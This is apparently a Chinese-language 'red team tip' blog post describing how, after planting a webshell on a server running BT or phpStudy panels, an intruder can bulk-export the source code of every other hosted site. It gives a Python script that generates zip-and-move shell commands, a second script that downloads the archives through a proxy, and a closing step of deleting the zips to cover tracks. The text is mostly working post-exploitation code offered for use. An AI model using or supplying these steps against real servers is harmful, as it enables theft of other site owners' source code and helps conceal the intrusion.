红队技巧3:批量导出源码
前言
在某次攻防演练中,你拿到了一个shell,在http://test.com/upload/shell.php中,你用webshell管理工具连接后,
发现此服务器使用了小皮面板或者宝塔面板,在/www/wwwroot或者/www/admin等下还有别的站点,所以你想把这些站点的源码批量下载下来
开始实验
1.拿到shell,注意webshell管理工具设置代理
2.开启终端,发现/www/admin下还有其他站点
3.复制到一个test.txt文件
localhost
localhost_80
www.sqli.vip_80
4.使用脚本1批处理,注意目前所在的位置是localhost,这样可以cd ../另一个站点
with open('test.txt') as f:
flag=f.readlines()
for i in range(len(flag)):
print("cd ../"+flag[i].strip()+" && zip -r "+flag[i].strip()+".zip ./* && "+"mv "+flag[i].strip()+".zip /www/admin/localhost/wwwroot/upload/")
5.然后再使用脚本通过web方式下载
import requests
# 要下载的文件URL列表
with open('test.txt') as f:
file_urls=f.readlines()
url2="http://test.com/upload/"
# 代理
proxies = {
'http': 'http://127.0.0.1:7890',
'https': 'http://127.0.0.1:7890'
}
# 下载文件
for url in file_urls:
file_name = url.strip()+".zip" # 提取文件名
response = requests.get(url2+file_name,proxies=proxies)
with open(file_name, 'wb') as file:
file.write(response.content)
print(f"下载完成: {file_name}")
6.最后别忘了清理痕迹,最起码把自己压缩的那些zip文件删除掉